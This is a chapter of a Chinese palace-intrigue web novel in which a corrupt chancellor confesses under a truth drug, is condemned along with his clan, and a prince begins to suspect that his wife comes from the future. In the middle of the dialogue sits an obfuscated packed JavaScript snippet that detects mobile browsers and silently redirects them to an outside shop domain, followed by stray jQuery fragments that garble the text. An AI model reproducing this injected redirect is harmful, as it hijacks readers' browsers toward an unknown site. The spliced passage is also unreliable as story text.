金銮殿上,鸦雀无声。
群臣都噤若寒蝉,紧张至极地看着温忠全。
龙司绝瞳孔紧缩,周身寒气弥漫。
墨王看了看龙司绝,又看了看温忠全,唇角扬起高深莫测的笑。
“皇上,我……”
温忠全也紧张万分。
紧紧地咬着舌尖,口中鲜血直流。
那药劲儿已逐渐褪去,他拼尽全力,一字一句地道:“皇上,皇后,皇后没有……”
皇后浑身一轻,跪在冰凉的地上痛哭起来。
“皇上,臣妾都说了,没有参与,您怎么怀疑臣妾呢……”
寒帝脸色阴沉的如同风雨欲来,放在膝上的拳头紧紧地握着,浑身威压凌厉迫人。
“皇后,你起来吧。”
皇后哭的泣不成声,回头悲哀地看向温忠全,“哥哥,你糊涂,真是糊涂啊!”
温忠全跪在地上低着头,浑身冷的像是掉进了冰窖。
体内的血液,仿佛都已经凝固成冰……
他如今已经彻底清醒过来,眼底满是恨意和懊恼。
可后悔又有什么用呢?
他已经在众目睽睽之下,承认了自己的所作所为。
“皇上,臣也心中难安,后悔不迭,只求皇上能看在臣主动招供的份儿上,从轻处理……”
温家一派的人都瑟瑟发抖地道:“求皇上看在温大人劳苦功高的份儿上,从轻处理!”
“劳苦功高?”
龙司绝幽沉冷厉的眼神扫过那些人:“温忠全做了这么多年的丞相毫无建树,甚至还压迫百姓,挪用军饷,更把千条人命当做草芥,这算哪门子的劳苦功高!”
“羿王说的没错,父皇,温忠全罪该万死!”
一直目瞪口呆看好戏的凌王,也终于开了口。
寒帝深深地看了两个儿子一眼,满意地点了点头。
“温忠全,朕如此信任你,你却鱼肉百姓,草菅人命!既然你已亲口承认,朕也不得不罚。”
“来人,罢免温忠全所有职务,打入死牢,三日后斩首示众!温家其他人,男丁都充入军营,女人孩子流放,不得有误!”
寒帝冰冷迫人的声音在金銮殿上响起,温忠全两眼一黑,当场昏厥了过去。
皇后神色惊慌,连连哀求。
“皇上,女人孩子如何流放?山高路远,她们哪里吃的了那些苦?”
寒帝眼神阴鸷,狠狠地瞪了皇后一眼,皇后浑身冰冷地跌坐在椅子上,心中已经明了。
男丁充入军营,也是一个死字。
女人孩子流放,更是死路一条。
寒帝这是铁了心的不给温家留后了……
侍卫很快上前,拖走了死狗一般的温忠全。
他浑身冷汗,脸色煞白如雪,再也没了方才进殿时那从容不迫的气度。
寒帝处置了心腹大患,心头雀跃至极。
威严的虎眸里迸发着精光:“至于月晋,他主动供出此等大案的幕后主使,连续揭发无数贪官污吏,也算是戴罪立功,朕决定不再取他性命,只流放宁古塔!”
“至于其他贪污人等,查清之后,一律秋后问斩!”
寒帝说着,赞赏地看向龙司绝。
“羿王回京之后,连续破获无数大案,该当嘉奖!
从今日起,由羿王正式接手肃王所有职务!赏银千两,良田千倾!”
“儿臣多谢父皇。”
龙司绝冷沉的声音在大殿里响起,受命。
群臣也恭敬地道:“皇上英明!羿王睿智!恭喜羿王殿下!”
皇后脸色难看地坐在寒帝身边,长长的指甲紧紧地掐住手心。
手心一片刺痛流血,她也浑然不觉。
寒帝心情愉悦地拍了拍龙椅,哈哈大笑着看向皇后。
“皇后脸色怎么这么差劲?可是哪里不舒服吗?”
皇后脸色惨白,心慌意乱地对着明帝挤出一个难看的笑:“皇上,臣妾替羿王高兴呢。”
高兴?她怎么高兴的起来?
寒帝迫不及待地判了温忠全三日后问斩,肃王被关禁闭,羿王甚至接手了肃王所有职务。
她如今,恨不得用眼神把龙司绝千刀万剐!
寒帝畅快地笑了起来,又想起另外一事,脸色又阴寒了下去。
“羿王,朕听说那齐修永在京城到处造谣,说你栽赃陷害温忠全,你想如何处置他?
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14124216|149882||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
”
龙司绝抬头,声音从容不迫。
“父皇,齐大人是个好官,只因有人想救温忠全,挟持了他的母亲,他才逼不得已如此做的。”
“此事也经了儿臣同意,还请父皇体谅!”
寒帝听完,微微颔首。
“既如此,朕就不罚他了,至于他的老母亲,你也帮助寻寻。”
龙司绝恭敬地领命。
退朝之后,凌王激动无比地给了龙司绝胸口一拳。
“老三,你到底用了什么办法,竟让那温忠全主动招供了?温家倒台,可真是太爽了!”
一直没什么存在感的墨王也走了过来,眼神奇异地看着龙司绝。
“是啊三哥,快跟我们说说。”
龙司绝勾唇,骄傲地
道:“本王也不知,兴许是上天相助。”
说完,他迫不及待地往王府赶去。
此时此刻,他只想见月轻尘,和她分享喜悦。
凌王望着他拍马而去的潇洒身影,皆是摇头轻笑。
“老三这是坠入情网了,恐怕是急着回去见弟妹呢。”
墨王勾唇,意味深长地道:“二哥,看三哥那骄傲和得意的神态,恐怕温忠全招供是三嫂的手段。”
“啊?”
凌王挠了挠头,讶然地问:“三弟妹还有这本事?”
墨王抿了抿唇,笑着上了马车。
路上,侍卫惊奇地问:“王爷,这温忠全不是自寻死路吗?那可是死罪,他怎么就招供了呢?”
“本王也不知,兴许是活够了吧。”
墨王端坐在马车里,骨节分明的手指滚着佛珠,清冷出尘的俊脸上是渗人的冷笑。
他知道一种药,能让人在一定时间控制不住地说实话。
今天温忠全表现的如此异常,怕正是服用了这种药物。
从刑部到金銮殿,再到审问结束,正好是半个时辰多些。
后来药物失效,温忠全才恢复正常。
正符合那药的特征。
且那药,只有几千年之后的后世才有。
看来,月轻尘真的是彻头彻尾地换了个人……
真是越发有趣了!